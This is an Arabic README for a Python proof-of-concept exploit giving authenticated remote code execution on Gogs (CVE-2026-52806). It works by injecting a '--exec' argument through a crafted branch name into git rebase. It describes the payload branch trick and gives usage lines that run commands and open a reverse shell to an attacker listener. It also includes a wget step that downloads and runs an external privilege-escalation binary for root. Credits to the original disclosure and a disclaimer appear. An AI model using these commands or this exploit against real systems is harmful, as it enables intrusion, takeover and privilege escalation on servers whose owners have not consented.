
Gogs RCE عبر حقن الوسائط في git rebase (CWE-88) — Python PoC. CVE-2026-52806
git rebase (CWE-88)تنفيذ تعليمات برمجية عن بُعد مُصادَق عليه ضد Gogs (<= 0.14.2 و 0.15.0+dev) عبر حقن الوسائط في مسار دمج طلبات السحب.
CVE-2026-52806
تمرّر الدالة Merge() في internal/database/pull.go اسم الفرع الأساسي لطلب السحب (PR)
إلى git rebase دون فاصل --. يتم تحليل فرع باسم
--exec=<COMMAND> بواسطة Git كعلامة --exec وليس كوسيط موضعي، مما يؤدي إلى
تشغيل sh -c <COMMAND> بعد كل commit مُعاد تطبيقه أثناء عملية rebase.
?v= على الأصول الثابتة، ويفحص ما إذا كان تسجيل
المستخدم مفتوحًا أو محميًا بـ captcha أو معطّلًا.-u <username> -pw <password>.
ينشئ رمز API عبر مصادقة Basic أو صفحة إعدادات الويب.master مع READMEfeature-* مع commit متفرّع--exec=sh${IFS}.payload يحتوي على
سكربت ينفّذ أمر المهاجم في الخلفية--exec=.merge_style=rebase_before_merging. يشغّل Gogs داخليًا
git rebase --exec=sh${IFS}.payload، الذي ينفّذ الحمولة بعد
كل commit مُعاد تطبيقه.requests (pip install requests)gitpython3 gogs.py <target> [options]
python3 gogs.py http://target:3000 --preflight-only
يُظهر:
Registration: ENABLED (no captcha) — يمكن التسجيل تلقائيًاRegistration: ENABLED (CAPTCHA DETECTED) — أنشئ حسابًا يدويًا في
صفحة التسجيل على الهدف، ثم قدّم بيانات الاعتماد باستخدام -u / -pwRegistration: DISABLED — تحتاج إلى بيانات اعتماد حالية من مسؤول# Auto-register + run a command
python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt"
# Existing account
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --cmd "whoami"
# Reverse shell
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --listener 10.0.0.2:4444
# Captcha enabled: create account on target's signup page, then use creds
python3 gogs.py 10.0.0.1:3000 -u myuser -pw mypassword --cmd "id"
# If login with creds fails, pass the session cookie directly
python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id"
بمجرد الحصول على شل على الهدف، تعمل عملية Gogs عادةً كمستخدم
بصلاحيات منخفضة (مثل git في Docker). لمحاولة تصعيد الصلاحيات
إلى root، حمّل ونفّذ ثنائي lpe-toolkit
من صفحة الإصدارات الخاصة بالمشروع:
# From your shell session:
wget https://github.com/portbuster1337/lpe-toolkit/releases/latest/download/lpe-toolkit-linux-amd64
chmod +x lpe-toolkit-linux-amd64
./lpe-toolkit-linux-amd64
تقوم الأداة بجرد استغلالات النواة وسوء الإعدادات ونواقل التصعيد الشائعة الأخرى.
exploit/multi/http/gogs_rebase_rce من Rapid7
بواسطة Jonah Burgess (CryptoCat)
(PR #21515)qf6p-p7ww-cwr9 (gogs/gogs)هذا إثبات المفهوم (PoC) المكتوب بلغة Python مستوحى من وحدة Metasploit المنشورة. تم اكتشاف الثغرة والإفصاح عنها بمسؤولية بواسطة Jonah Burgess (CryptoCat) في Rapid7.
هذه الأداة مُقدَّمة لأغراض تعليمية وللاختبارات الأمنية المصرَّح بها فقط. الاستخدام غير المصرَّح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها يُعد غير قانوني. لا يتحمل المؤلفون أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.
لا تدعم واجهة برمجة تطبيقات Gogs حذف الرموز، لذا فإن أي رموز وصول API
يتم إنشاؤها أثناء الاستغلال ستبقى قائمة ويجب إزالتها يدويًا
من /user/settings/applications على المثيل الهدف.
| الخيار | الوصف |
|---|
target | المضيف[:المنفذ] (مثل: 47.109.58.140:9000) |
-p, --port | منفذ HTTP (الافتراضي: 3000) |
-u, --username | اسم مستخدم Gogs |
-pw, --password | كلمة مرور Gogs |
--cookie | سلسلة كوكي الجلسة |
--cmd | الأمر المراد تنفيذه على الهدف |
--listener | الشل العكسي host:port |
--lhost / --lport | مضيف ومنفذ الشل العكسي |
--ssl | استخدام HTTPS |
--preflight-only | تشغيل الفحوصات الأولية فقط |